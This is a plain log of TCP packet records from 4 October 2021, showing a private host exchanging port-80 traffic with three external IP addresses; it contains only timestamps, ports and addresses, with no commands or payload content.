Oct 4, 2021 17:00:22.905549049 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.905571938 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.905581951 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.905596018 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.905613899 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.905622005 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.905627966 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.905656099 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.905673981 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.906326056 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.912967920 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.913000107 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.913023949 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.913045883 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.913052082 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.913069963 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.913075924 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.913085938 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.913099051 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.913109064 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.913125992 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.913139105 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.913151026 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.913156986 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.913175106 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.913197041 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.913197994 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.913220882 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.913242102 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.913243055 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.913248062 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.913261890 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.913281918 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.913655043 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.913727045 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.914572954 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.954729080 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.954761982 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.954790115 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.954812050 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.954812050 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.954834938 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.954834938 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.954855919 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.954859018 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.954875946 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.954879999 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.954895020 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.954902887 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.954914093 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.954926014 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.954947948 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.954950094 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.954969883 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.954986095 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.954986095 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.955010891 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.955060005 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.955065966 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.955073118 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.955822945 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.960820913 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.960848093 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.960870028 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.960891962 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.960901976 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.960906982 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.960908890 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.960930109 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.960946083 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.960952044 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.960954905 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.960973978 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.960988045 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.960994005 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.961003065 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.961016893 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.961031914 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.961040020 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.961047888 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.961062908 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.961076021 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.961091995 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.962099075 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:22.980616093 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:22.980686903 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.004420042 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.004513025 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.004534006 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.004549980 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.004569054 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.004585981 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.004600048 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.004617929 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.004636049 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.004654884 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.004672050 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.004692078 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.005409002 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.005440950 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.005445004 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.005446911 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.005449057 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.005460024 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.005516052 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.006840944 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.010133028 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.010140896 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.010157108 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.010175943 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.010189056 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.010206938 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.010293007 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.010374069 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.010395050 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.010426998 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.010436058 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.010449886 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.010462999 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.010476112 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.010530949 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.010757923 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.013448954 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.013473034 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.013492107 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.013515949 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.013524055 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.013535023 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.013540030 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.013552904 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.013556004 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.013569117 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.013576031 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.013587952 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.013596058 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.013605118 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.013616085 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.013632059 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.013634920 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.013642073 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.013654947 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.013655901 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.013676882 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.013685942 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.013708115 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.013834953 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.036825895 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.037025928 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.054975986 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.055006981 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.055023909 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.055042982 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.055061102 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.055078983 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.055097103 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.055129051 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.055150986 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.055170059 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.055171013 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.055197001 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.055202007 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.055243969 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.055249929 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.055253983 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.055257082 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.055259943 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.056680918 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.062463045 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.062618971 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.062969923 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.063011885 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.063030958 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.063050985 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.063055038 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.063071012 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.063072920 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.063082933 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.063092947 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.063110113 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.063128948 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.063136101 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.063147068 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.063153982 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.063173056 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.063185930 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.063190937 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.063199043 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.063216925 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.063231945 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.063252926 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.064032078 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.087584019 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.087712049 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.110208988 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.110290051 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.110310078 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.110333920 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.110356092 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.110378027 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.110392094 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.110402107 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.110418081 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.110423088 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.110428095 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.110441923 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.110454082 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.110466957 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.110477924 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.110491037 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.110513926 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.110515118 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.110527039 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.110553980 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.111581087 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.111608982 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.111627102 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.111648083 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.111651897 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.111666918 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.111685038 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.111685991 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.111706018 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.111706018 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.111723900 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.111732960 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.111742020 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.111752987 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.111759901 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.111777067 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.111778975 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.111794949 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.111799955 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.111816883 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.111838102 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.112236977 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.113302946 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.113362074 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.113365889 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.113394976 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.113394976 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.113414049 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.113429070 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.113434076 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.113451004 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.113456011 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.113472939 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.113473892 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.113491058 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.113492012 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.113511086 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.113512039 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.113528013 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.113537073 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.113545895 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.113555908 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.113563061 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.113576889 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.113584995 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.113600016 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.113617897 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.115282059 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.116628885 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.138632059 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.138708115 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.162995100 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163026094 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163047075 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163081884 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163108110 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163139105 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163162947 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163186073 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163209915 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163218975 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.163232088 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163237095 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.163254023 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163265944 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.163275003 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163285971 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.163309097 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.163767099 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163834095 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.163959026 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163975000 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.163996935 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.164017916 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.164021015 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.164036989 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.164040089 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.164058924 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.164064884 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.164072037 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.164088011 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.164097071 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.164108992 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.164117098 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.164130926 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.164139032 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.164153099 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.164175034 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.164210081 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.164211035 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.164217949 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.164243937 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.164645910 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.165079117 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.165117025 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.165137053 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.165138960 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.165159941 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.165170908 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.165182114 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.165191889 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.165205002 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.165213108 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.165225029 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.165229082 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.165246964 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:00:23.165260077 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.165266037 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.165285110 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.168154001 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:00:23.169404984 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:01:26.149986982 CEST	80	49165	190.14.37.165	192.168.2.22
Oct 4, 2021 17:01:26.150088072 CEST	49165	80	192.168.2.22	190.14.37.165
Oct 4, 2021 17:01:27.114907026 CEST	80	49166	5.196.247.11	192.168.2.22
Oct 4, 2021 17:01:27.114965916 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:01:28.164851904 CEST	80	49167	188.119.113.3	192.168.2.22
Oct 4, 2021 17:01:28.164943933 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:02:17.586420059 CEST	49167	80	192.168.2.22	188.119.113.3
Oct 4, 2021 17:02:17.586678028 CEST	49166	80	192.168.2.22	5.196.247.11
Oct 4, 2021 17:02:17.586910009 CEST	49165	80	192.168.2.22	190.14.37.165
